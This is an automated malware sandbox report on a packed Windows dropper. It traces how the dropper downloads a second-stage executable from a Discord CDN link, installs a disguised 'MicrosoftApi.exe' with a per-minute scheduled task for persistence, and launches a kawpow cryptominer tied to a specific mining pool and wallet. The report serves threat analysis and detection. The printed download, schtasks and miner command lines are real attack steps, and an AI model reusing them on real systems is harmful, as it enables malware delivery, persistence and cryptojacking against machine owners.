Overview

overview

10

Static

static

a257ea9730...95.exe

windows7_x64

10

a257ea9730...95.exe

windows10_x64

8

Analysis

  • max time kernel
    134s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    02/08/2021, 06:01

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General

  • Target
    a257ea9730cbbaf7b4bb364e92821595.exe
  • Size 448KB
  • Sample210802-7tk3jy3fc2
  • SHA256 ea07ac0be9b5d757b3d6eab704606fb022770451be04c729af03f3a0941d3fc8
  • MD5 SHA1 SHA512
Score
10/10
suricataupx

Malware Config

Signatures

  • suricata: ET MALWARE Generic gate[.].php GET with minimal headers
    suricata
  • suricata: ET MALWARE Likely Zbot Generic Request to gate.php Dotted-Quad
    suricata
  • Downloads MZ/PE file
  • Executes dropped EXE 8 IoCs
  • UPX packed file 15 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Loads dropped DLL 11 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a257ea9730cbbaf7b4bb364e92821595.exe
    "C:\Users\Admin\AppData\Local\Temp\a257ea9730cbbaf7b4bb364e92821595.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1080
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\ABE9.tmp\ABEA.tmp\ABEB.bat C:\Users\Admin\AppData\Local\Temp\a257ea9730cbbaf7b4bb364e92821595.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2040
      • C:\Users\Admin\AppData\Local\Temp\ABE9.tmp\ABEA.tmp\extd.exe
        C:\Users\Admin\AppData\Local\Temp\ABE9.tmp\ABEA.tmp\extd.exe "/random" "90000009" "" "" "" "" "" "" ""
        3⤵
        • Executes dropped EXE
        PID:1968
      • C:\Users\Admin\AppData\Local\Temp\ABE9.tmp\ABEA.tmp\extd.exe
        C:\Users\Admin\AppData\Local\Temp\ABE9.tmp\ABEA.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/868908533897363470/871473752494456932/welldone.exe" "welldone.exe" "" "" "" "" "" ""
        3⤵
        • Executes dropped EXE
        PID:1788
      • C:\Users\Admin\AppData\Local\Temp\20342\welldone.exe
        welldone.exe
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1256
        • C:\Users\Admin\AppData\Roaming\ServiceApi\MicrosoftApi.exe
          "C:\Users\Admin\AppData\Roaming\ServiceApi\MicrosoftApi.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1000
          • C:\Windows\system32\cmd.exe
            cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp4D26.tmp.cmd""
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2008
            • C:\Windows\system32\timeout.exe
              timeout 4
              6⤵
              • Delays execution with timeout.exe
              PID:1236
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /f /sc MINUTE /mo 1 /tn "MicrosoftApi" /tr "'C:\Users\Admin\AppData\Roaming\ServiceApi\MicrosoftApi.exe"'
              6⤵
              • Creates scheduled task(s)
              PID:1980
      • C:\Users\Admin\AppData\Local\Temp\ABE9.tmp\ABEA.tmp\extd.exe
        C:\Users\Admin\AppData\Local\Temp\ABE9.tmp\ABEA.tmp\extd.exe "/sleep" "900000" "" "" "" "" "" "" ""
        3⤵
        • Executes dropped EXE
        PID:368
  • C:\Users\Admin\AppData\Local\Temp\ABE9.tmp\ABEA.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\ABE9.tmp\ABEA.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
    1⤵
    • Executes dropped EXE
    PID:1064
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {2B69FACC-C18C-4FA2-9258-EF82F6F4676E} S-1-5-21-2513283230-931923277-594887482-1000:MRBKYMNO\Admin:Interactive:[1]
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1956
    • C:\Users\Admin\AppData\Roaming\ServiceApi\MicrosoftApi.exe
      C:\Users\Admin\AppData\Roaming\ServiceApi\MicrosoftApi.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1740
      • C:\Users\Admin\AppData\Roaming\ServiceApi\MRBKYMNOAdmine.exe
        "C:\Users\Admin\AppData\Roaming\ServiceApi\MRBKYMNOAdmine.exe" --algo kawpow --server rvn.2miners.com:6060 --user RC1rszoXopQ8E24icWrqSRE8xCdsMXcWzw.Bv2 -w 0
        3⤵
        • Executes dropped EXE
        PID:1720

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        memory/1000-94-0x000000013F670000-0x000000013F671000-memory.dmp
        Download

        memory/1080-60-0x000007FEFC661000-0x000007FEFC663000-memory.dmp
        Download

        memory/1256-88-0x000000013F6C0000-0x000000013F6C1000-memory.dmp
        Download

        memory/1740-102-0x000000013FFB0000-0x000000013FFB1000-memory.dmp
        Download

        memory/1740-104-0x000000001CBE0000-0x000000001CBE2000-memory.dmp
        Download